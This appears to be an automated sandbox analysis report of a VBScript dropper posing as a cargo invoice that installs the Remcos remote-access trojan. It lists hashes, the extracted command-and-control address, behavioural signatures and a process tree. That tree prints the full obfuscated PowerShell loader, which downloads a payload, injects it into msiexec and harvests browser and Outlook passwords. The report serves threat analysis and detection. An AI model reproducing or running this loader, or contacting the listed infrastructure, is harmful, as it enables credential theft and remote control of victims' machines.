Analysis
-
max time kernel
149s -
max time network
149s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25-11-2024 06:14
Static task
static1
Behavioral task
behavioral1
Sample
Cargo Invoice_pdf.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Cargo Invoice_pdf.vbs
Resource
win10v2004-20241007-en
General
-
Target
Cargo Invoice_pdf.vbs
-
Size
46KB
-
MD5
7ccd1a741f2ea97cc446879d217f636f
-
SHA1
c087c6a2a087692186f8ef00c2eb6b2dcb5d9f9a
-
SHA256
638a81e98cf77b877d52a2a483afb34482c84aa3bbc7cac790fdcb93d7ff1e1d
-
SHA512
35aeb6799decf351daf4a3afa31201c43c3ba28e75daca87bed54dd8d0659d68b427647d0caf5e2ef2ab0290ae577f987b256e67b20a697f06f26e57076aa8bb
-
SSDEEP
768:cyWWCy/nv4uIWF+TZJPQfkQ9B3czELCZJbXDePgUM7p1ZQ6eLfGuz3n6WKW5Kc3:cyhCy/vKW2XakQ4z4IXcO1ZQB37v5
Malware Config
Extracted
remcos
RemoteHost
154.216.18.214:2404
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-AOD6MB
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral1/memory/684-96-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral1/memory/2632-95-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral1/memory/840-102-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral1/memory/684-96-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral1/memory/2632-95-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Blocklisted process makes network request 7 IoCs
flow pid Process 3 2764 WScript.exe 7 1572 powershell.exe 9 3036 msiexec.exe 11 3036 msiexec.exe 12 3036 msiexec.exe 14 3036 msiexec.exe 15 3036 msiexec.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts msiexec.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: WScript.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3036 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1252 powershell.exe 3036 msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3036 set thread context of 2632 3036 msiexec.exe 37 PID 3036 set thread context of 684 3036 msiexec.exe 38 PID 3036 set thread context of 840 3036 msiexec.exe 39 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1572 powershell.exe 1252 powershell.exe 1252 powershell.exe 2632 msiexec.exe 2632 msiexec.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 1252 powershell.exe 3036 msiexec.exe 3036 msiexec.exe 3036 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1572 powershell.exe Token: SeDebugPrivilege 1252 powershell.exe Token: SeDebugPrivilege 840 msiexec.exe -
Suspicious use of WriteProcessMemory 35 IoCs
description pid Process procid_target PID 2764 wrote to memory of 1572 2764 WScript.exe 31 PID 2764 wrote to memory of 1572 2764 WScript.exe 31 PID 2764 wrote to memory of 1572 2764 WScript.exe 31 PID 1252 wrote to memory of 3036 1252 powershell.exe 35 PID 1252 wrote to memory of 3036 1252 powershell.exe 35 PID 1252 wrote to memory of 3036 1252 powershell.exe 35 PID 1252 wrote to memory of 3036 1252 powershell.exe 35 PID 1252 wrote to memory of 3036 1252 powershell.exe 35 PID 1252 wrote to memory of 3036 1252 powershell.exe 35 PID 1252 wrote to memory of 3036 1252 powershell.exe 35 PID 1252 wrote to memory of 3036 1252 powershell.exe 35 PID 3036 wrote to memory of 2632 3036 msiexec.exe 37 PID 3036 wrote to memory of 2632 3036 msiexec.exe 37 PID 3036 wrote to memory of 2632 3036 msiexec.exe 37 PID 3036 wrote to memory of 2632 3036 msiexec.exe 37 PID 3036 wrote to memory of 2632 3036 msiexec.exe 37 PID 3036 wrote to memory of 2632 3036 msiexec.exe 37 PID 3036 wrote to memory of 2632 3036 msiexec.exe 37 PID 3036 wrote to memory of 2632 3036 msiexec.exe 37 PID 3036 wrote to memory of 684 3036 msiexec.exe 38 PID 3036 wrote to memory of 684 3036 msiexec.exe 38 PID 3036 wrote to memory of 684 3036 msiexec.exe 38 PID 3036 wrote to memory of 684 3036 msiexec.exe 38 PID 3036 wrote to memory of 684 3036 msiexec.exe 38 PID 3036 wrote to memory of 684 3036 msiexec.exe 38 PID 3036 wrote to memory of 684 3036 msiexec.exe 38 PID 3036 wrote to memory of 684 3036 msiexec.exe 38 PID 3036 wrote to memory of 840 3036 msiexec.exe 39 PID 3036 wrote to memory of 840 3036 msiexec.exe 39 PID 3036 wrote to memory of 840 3036 msiexec.exe 39 PID 3036 wrote to memory of 840 3036 msiexec.exe 39 PID 3036 wrote to memory of 840 3036 msiexec.exe 39 PID 3036 wrote to memory of 840 3036 msiexec.exe 39 PID 3036 wrote to memory of 840 3036 msiexec.exe 39 PID 3036 wrote to memory of 840 3036 msiexec.exe 39
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Cargo Invoice_pdf.vbs"1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Roomstead='Taktfuldste';;$vitiligo='Chron';;$skumgummier='Radiable';;$Defrosters='slab';;$Projektopgavens='surfrideres';;$Trinka=$host.Name;function Autodrome($Loadedness){If ($Trinka) {$Rullers=3} for ($Elaidin=$Rullers;;$Elaidin+=4){if(!$Loadedness[$Elaidin]) { break }$Bioenergiens+=$Loadedness[$Elaidin]}$Bioenergiens}function ejner($Girlishness){ .($Genkomstens) ($Girlishness)}$Waney=Autodrome 'ChoNPh eUnwTChu.M dwIndeBilBMi,CNe LParIT pE ,oNO dt';$Veheftets=Autodrome 'RelMsyno ,ezUdri RnlUn.lautaOpf/';$Halskde=Autodrome 'UndTOrdlDiss Ma1 Mi2';$Radiovirksomhed='re [st,n Ase Nyt st.HussChleVeerModv OmI Noc R,E RipPudosoyITanNRtetsamMUndA ln isaC rg ae.meRRe ]Dr,:Whi:Iros ,jeT pCQa UsplrNoniVedTambY enP T R ,ioPeaTAp.OPencDupOMadlTam=Lov$ ndhbioATunL ansnavksted H E';$Veheftets+=Autodrome 'sub5Ok . Wi0Ext Res( T WMiciRasnsupd raoFilwIansRen strNundT Ud ok1Bla0Af .sve0Ind; Gr .nmWRecis,gn Va6Pro4 Ra; Ch D oxG i6Ind4sil; rd IdorMygv ef:nit1Du 3 C 1End. so0Ele)s,r He GU,resprc,ybk pioFre/Nor2sil0Pai1 Di0Des0Ove1Tit0Udl1 Te BloFE dibetrMare.idfFrao tx ar/Bob1It.3 nf1dia.Mic0';$Hexprint=Autodrome 'HovUPu.sFraeLinrsp -InfA.atGTruePronHypT';$Moduludlejningerne=Autodrome 'rulhsamtTritIdepslksCal:Rip/Hej/NakbDio9 ApaCri1Co,.Feri sccMe uPre/ Meh UnU .rP,rcMVana kisRb,YUndGspa/CorNs ro DenT,ieEl,x.uspBroaLven lhs tei C,o BanPoe.sepjP aaF evU.ba';$Absentia=Autodrome ' fi>';$Genkomstens=Autodrome 'Mi i neeOutX';$Taareflaads='Udfaldsvejens';$Blomsterbutikken='\informationsressourcernes.Udb';ejner (Autodrome 'Ind$sengMagLHonoAikB Hsac il Mi: Enssk UR eb iaLMe oFren KdG ke= st$ ReEGranEn v fo:CoaA ysPBubPRecDstaApr,tKleaTil+Zeb$selbUndLImmoBi,MRe,sCorT byEVi rUdsbClauskitpliIMeaKTalkProERa n');ejner (Autodrome ' al$Nong BelTrio evBGorA KolEr,:sliAOpmmpalbEn,oY lL BeT.or= Du$su mEskoB.idstrUsinlE ru ind arLUdteGenj,onNMidIs rnBevG G epanrHovNCoaEc o.BrasWiep FaL ruiMictVid(str$D.sATrub es.opesvonCart prI igAInv)');ejner (Autodrome $Radiovirksomhed);$Moduludlejningerne=$Ambolt[0];$Buntmageren=(Autodrome ' .l$A cGAmpLF,roF sBBe.AConl.om:IsemOveOB grNetN ExEBi,tM,lTAlmE cu= nN iePseWKir-HedO UnbB djDunEsigcLevt In Revs bly.ris.yetBnneangM B..Cau$TilwKluaMaaNLapEMily');ejner ($Buntmageren);ejner (Autodrome 'Ove$ D.M,heosisr.kan Vieaftt sktIn eVic.ForH D eskjaArbdskoePenrTins,uf[Afs$KonHGlaeFavxEssp anr koishinB gtTak]As,=Bla$ s,V ore sihsubetekfRe.tIrme zet.ers');$Mascouten=Autodrome ',tt$AleMtaloPi r annPree PatP itsplesno.VaiDskaoD.fwa snU.dlUdeoPalasawd BiFsviiTo.lAmeeGau(Ott$GarMHepoBaldhexuDe l UduMandD alFejeAfgjsidnBrni .knArkgGule K r BenAe estr,mon$ZooU K nUnfdKobe s rTegs.nttBaatsabtForeNond DueInssDyr)';$Understttedes=$sublong;ejner (Autodrome 'uds$LodGRe L,dso fubfjeAsowlFid:sa fInfUL usProIIndoE.vNFlaATall Br=skr(i ptBcee hosEfttOve- InPKolA.utt Cah Mi Cha$CrouKvinsymDsupeNegRC,ms,lcT ExTT,stBe.EAmbD are UdsU i)');while (!$Fusional) {ejner (Autodrome 'Leu$speg EvlAlvo nb reaMeelNot: nts G.h LniTryr Het D mim aDdrkPuseNorrHej= A,$BibE MalWagaHeaiUkrdAnoiHapnExhnDatd BjshymtscrtRenes,plWhasInfesodn') ;ejner $Mascouten;ejner (Autodrome 's bsBort,esAHamRsubt Pr-ProsoutLbesERume Nop.as Ret4');ejner (Autodrome 'End$ BiG K Lst.oDreBTunaMa Ls u: Ref bjUstisD eIMinODownAktaArbLClo=F.n(A tTReaETh.ssktTFcs-,oiP BiaImmtEskHT.m r$PlauummNkakdReiesl.Rbrus.prTPriTRadt raEsniDUveEGons in)') ;ejner (Autodrome ' R $ iGUnsLMako BlbEpiAmeml Bo:EndhLikA BlN od BrsChuTWa AForN,vnd atsWa =Ato$skygIn.lUd oBelBFasauhaLFoi:AfvLspiE og O g YeIResN PoGB lsCom+Pro+ p% av$UdgAuniMThiBUdso B.L,enT Fo.Rosc soO dtu B.NBisT') ;$Moduludlejningerne=$Ambolt[$Handstands]}$Turnable=323798;$Microanatomy=29573;ejner (Autodrome 'A g$s igAstLD.rOCutBmesAorgL Fo:.hoM ifODemnb.iTstea skdT ra omLD se Ga U l=Tro Ecgg sELectFor-PriC HaOMelNUmaT MeEAadn s,TVie sch$dreU.onn red,eceOmvRL.msHelts utpr T te.hydGenEDeis');ejner (Autodrome 'Bog$KomgPral,osoG nbAu aTralH o: I,TspiyProl kvo Unt ase In N =E.d a a[ UfsChayscrssl tHaleDanmCel.BacCneuosimn P v LaeHigrskutNeo]Pil:Tol: yFCanrmoro HamWheBFara Mos nePel6,an4L psOvetw.pr dmiFasnYe.gI,s(Ano$KreM seo unPr.t paaIncd Ena edlsteesva)');ejner (Autodrome 'ude$krigtr lPlaOClob.oda ,iLIso:FormIndap eREtatJa.y.isRem O Y lK sO dlgpariM tsH.sTPani O.C Cu Qua=Vag .nc[cousspryk rssidttelelo MMot. GaTAtoEn ex krTBe,.KviEKgsNFo,cNonoTonDu.hIOphNTorGM z] or:Pus: h,akoksFraCGosise,IBri.AntGU,bEEs.tfr,sPost sprDedi B,NWanG al(hje$t.etYrby,niL InOsoaTIndE Da)');ejner (Autodrome 'Cun$O eG Unl BrOBrob InA suLud,:,ndCHl,hTeniP aL Glo P gKannChiAOmktepiHFni=Kla$ Bam ,raAnarFu.T nhyBesRR.pORe LEksO GagForIHylsdecT heIPsecall.s assp,u I bCatsregTGe RsabI reN erGgr (Gri$AlntConUPa RDecNPerA,apBGaslBenePe.,str$Pycm Plis.ocAntr HyOUnbANamnDr aPeltUnpo PrmHegyF l)');ejner $Chilognath;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1572
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Roomstead='Taktfuldste';;$vitiligo='Chron';;$skumgummier='Radiable';;$Defrosters='slab';;$Projektopgavens='surfrideres';;$Trinka=$host.Name;function Autodrome($Loadedness){If ($Trinka) {$Rullers=3} for ($Elaidin=$Rullers;;$Elaidin+=4){if(!$Loadedness[$Elaidin]) { break }$Bioenergiens+=$Loadedness[$Elaidin]}$Bioenergiens}function ejner($Girlishness){ .($Genkomstens) ($Girlishness)}$Waney=Autodrome 'ChoNPh eUnwTChu.M dwIndeBilBMi,CNe LParIT pE ,oNO dt';$Veheftets=Autodrome 'RelMsyno ,ezUdri RnlUn.lautaOpf/';$Halskde=Autodrome 'UndTOrdlDiss Ma1 Mi2';$Radiovirksomhed='re [st,n Ase Nyt st.HussChleVeerModv OmI Noc R,E RipPudosoyITanNRtetsamMUndA ln isaC rg ae.meRRe ]Dr,:Whi:Iros ,jeT pCQa UsplrNoniVedTambY enP T R ,ioPeaTAp.OPencDupOMadlTam=Lov$ ndhbioATunL ansnavksted H E';$Veheftets+=Autodrome 'sub5Ok . Wi0Ext Res( T WMiciRasnsupd raoFilwIansRen strNundT Ud ok1Bla0Af .sve0Ind; Gr .nmWRecis,gn Va6Pro4 Ra; Ch D oxG i6Ind4sil; rd IdorMygv ef:nit1Du 3 C 1End. so0Ele)s,r He GU,resprc,ybk pioFre/Nor2sil0Pai1 Di0Des0Ove1Tit0Udl1 Te BloFE dibetrMare.idfFrao tx ar/Bob1It.3 nf1dia.Mic0';$Hexprint=Autodrome 'HovUPu.sFraeLinrsp -InfA.atGTruePronHypT';$Moduludlejningerne=Autodrome 'rulhsamtTritIdepslksCal:Rip/Hej/NakbDio9 ApaCri1Co,.Feri sccMe uPre/ Meh UnU .rP,rcMVana kisRb,YUndGspa/CorNs ro DenT,ieEl,x.uspBroaLven lhs tei C,o BanPoe.sepjP aaF evU.ba';$Absentia=Autodrome ' fi>';$Genkomstens=Autodrome 'Mi i neeOutX';$Taareflaads='Udfaldsvejens';$Blomsterbutikken='\informationsressourcernes.Udb';ejner (Autodrome 'Ind$sengMagLHonoAikB Hsac il Mi: Enssk UR eb iaLMe oFren KdG ke= st$ ReEGranEn v fo:CoaA ysPBubPRecDstaApr,tKleaTil+Zeb$selbUndLImmoBi,MRe,sCorT byEVi rUdsbClauskitpliIMeaKTalkProERa n');ejner (Autodrome ' al$Nong BelTrio evBGorA KolEr,:sliAOpmmpalbEn,oY lL BeT.or= Du$su mEskoB.idstrUsinlE ru ind arLUdteGenj,onNMidIs rnBevG G epanrHovNCoaEc o.BrasWiep FaL ruiMictVid(str$D.sATrub es.opesvonCart prI igAInv)');ejner (Autodrome $Radiovirksomhed);$Moduludlejningerne=$Ambolt[0];$Buntmageren=(Autodrome ' .l$A cGAmpLF,roF sBBe.AConl.om:IsemOveOB grNetN ExEBi,tM,lTAlmE cu= nN iePseWKir-HedO UnbB djDunEsigcLevt In Revs bly.ris.yetBnneangM B..Cau$TilwKluaMaaNLapEMily');ejner ($Buntmageren);ejner (Autodrome 'Ove$ D.M,heosisr.kan Vieaftt sktIn eVic.ForH D eskjaArbdskoePenrTins,uf[Afs$KonHGlaeFavxEssp anr koishinB gtTak]As,=Bla$ s,V ore sihsubetekfRe.tIrme zet.ers');$Mascouten=Autodrome ',tt$AleMtaloPi r annPree PatP itsplesno.VaiDskaoD.fwa snU.dlUdeoPalasawd BiFsviiTo.lAmeeGau(Ott$GarMHepoBaldhexuDe l UduMandD alFejeAfgjsidnBrni .knArkgGule K r BenAe estr,mon$ZooU K nUnfdKobe s rTegs.nttBaatsabtForeNond DueInssDyr)';$Understttedes=$sublong;ejner (Autodrome 'uds$LodGRe L,dso fubfjeAsowlFid:sa fInfUL usProIIndoE.vNFlaATall Br=skr(i ptBcee hosEfttOve- InPKolA.utt Cah Mi Cha$CrouKvinsymDsupeNegRC,ms,lcT ExTT,stBe.EAmbD are UdsU i)');while (!$Fusional) {ejner (Autodrome 'Leu$speg EvlAlvo nb reaMeelNot: nts G.h LniTryr Het D mim aDdrkPuseNorrHej= A,$BibE MalWagaHeaiUkrdAnoiHapnExhnDatd BjshymtscrtRenes,plWhasInfesodn') ;ejner $Mascouten;ejner (Autodrome 's bsBort,esAHamRsubt Pr-ProsoutLbesERume Nop.as Ret4');ejner (Autodrome 'End$ BiG K Lst.oDreBTunaMa Ls u: Ref bjUstisD eIMinODownAktaArbLClo=F.n(A tTReaETh.ssktTFcs-,oiP BiaImmtEskHT.m r$PlauummNkakdReiesl.Rbrus.prTPriTRadt raEsniDUveEGons in)') ;ejner (Autodrome ' R $ iGUnsLMako BlbEpiAmeml Bo:EndhLikA BlN od BrsChuTWa AForN,vnd atsWa =Ato$skygIn.lUd oBelBFasauhaLFoi:AfvLspiE og O g YeIResN PoGB lsCom+Pro+ p% av$UdgAuniMThiBUdso B.L,enT Fo.Rosc soO dtu B.NBisT') ;$Moduludlejningerne=$Ambolt[$Handstands]}$Turnable=323798;$Microanatomy=29573;ejner (Autodrome 'A g$s igAstLD.rOCutBmesAorgL Fo:.hoM ifODemnb.iTstea skdT ra omLD se Ga U l=Tro Ecgg sELectFor-PriC HaOMelNUmaT MeEAadn s,TVie sch$dreU.onn red,eceOmvRL.msHelts utpr T te.hydGenEDeis');ejner (Autodrome 'Bog$KomgPral,osoG nbAu aTralH o: I,TspiyProl kvo Unt ase In N =E.d a a[ UfsChayscrssl tHaleDanmCel.BacCneuosimn P v LaeHigrskutNeo]Pil:Tol: yFCanrmoro HamWheBFara Mos nePel6,an4L psOvetw.pr dmiFasnYe.gI,s(Ano$KreM seo unPr.t paaIncd Ena edlsteesva)');ejner (Autodrome 'ude$krigtr lPlaOClob.oda ,iLIso:FormIndap eREtatJa.y.isRem O Y lK sO dlgpariM tsH.sTPani O.C Cu Qua=Vag .nc[cousspryk rssidttelelo MMot. GaTAtoEn ex krTBe,.KviEKgsNFo,cNonoTonDu.hIOphNTorGM z] or:Pus: h,akoksFraCGosise,IBri.AntGU,bEEs.tfr,sPost sprDedi B,NWanG al(hje$t.etYrby,niL InOsoaTIndE Da)');ejner (Autodrome 'Cun$O eG Unl BrOBrob InA suLud,:,ndCHl,hTeniP aL Glo P gKannChiAOmktepiHFni=Kla$ Bam ,raAnarFu.T nhyBesRR.pORe LEksO GagForIHylsdecT heIPsecall.s assp,u I bCatsregTGe RsabI reN erGgr (Gri$AlntConUPa RDecNPerA,apBGaslBenePe.,str$Pycm Plis.ocAntr HyOUnbANamnDr aPeltUnpo PrmHegyF l)');ejner $Chilognath;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\sncmvjvwuwgfitnxjqyoogqgfg"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2632
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\vppxwbgyqeyktzjbsblhzlkpomgciy"3⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:684
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\fkupxuqremqxvfyfjmxjcyfgptydbjlcg"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:840
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5a820062a8a5b6dae3830183b48e3420b
SHA13166ba8194402f7760b693a155bc226ead5cc58b
SHA25682b588c845c697e4fa6d3bdd0e30e873efbb75ebeab056c1f984814658f3f9ef
SHA512cc73800a602fd271121aab27c7cbf2d65027ca7a0bed6d824a597f717b548da9d85c084b38d72619a0489712aba2f412b446fc1c728e7c4b111480ce0d10b188
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
-
Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2GIAPIIQI7IUV6S8Q3JO.temp
Filesize7KB
MD522d5a3ef073a87101d96ed9d62faca02
SHA1512ebac422e34bbc3530dcdd24bb878c669c5d11
SHA2569f556415adba8664f5100dcca01996c29d27eefe549c575af3bb02347b649356
SHA5122ad4cdbc8d183dd27ef9908c4c78f0c97fec2a6faa0e57462ab1a55d33669c3c8e3a9ffadc4e609113963cce15758fa74d3ae06c253fbbdd7a07c15872e86973
-
Filesize
460KB
MD5cc054403561c5e31587491e3ce750c24
SHA1cbe5e6abba81af604b23553aff9b90bd46d20399
SHA2569b8897a9589f956a7955c1edc4f5d3eb20b6fec10b6b43af3864b390508356d0
SHA5123f2bc50860680ad31a6e12aaaeb3aa822ef2b7f2673bd9dc5c74a64f973bd5c14ededa0ac0277efd1141a225e1eadb040c8522c916bdcc11fbdb5067c8a95577